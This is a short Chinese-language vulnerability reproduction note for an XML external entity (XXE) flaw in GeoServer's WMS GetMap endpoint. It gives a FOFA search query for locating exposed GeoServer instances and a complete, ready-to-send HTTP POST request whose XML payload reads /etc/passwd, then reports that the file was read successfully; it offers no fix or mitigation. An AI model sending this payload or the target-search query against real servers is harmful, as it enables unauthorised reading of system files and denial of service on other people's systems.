漏洞描述
GeoServer是一个开源服务器,允许用户共享和编辑地理空间数据。该漏洞源于 /geoserver/wms 端点的 GetMap 操作在接收 XML 请求时未对外部实体引用进行充分限制。攻击者可以利用该漏洞,通过构造恶意的 XML 数据注入外部实体(XXE),从而读取服务器上的敏感信息或导致拒绝服务。
fofa语法
app="GeoServer"
漏洞复现
POST /wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90 HTTP/1.1
Host: geoserver.mrxn.net
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<Name>&xxe;</Name>
</NamedLayer>
</StyledLayerDescriptor>

成功读取到 /etc/passwd 文件内容

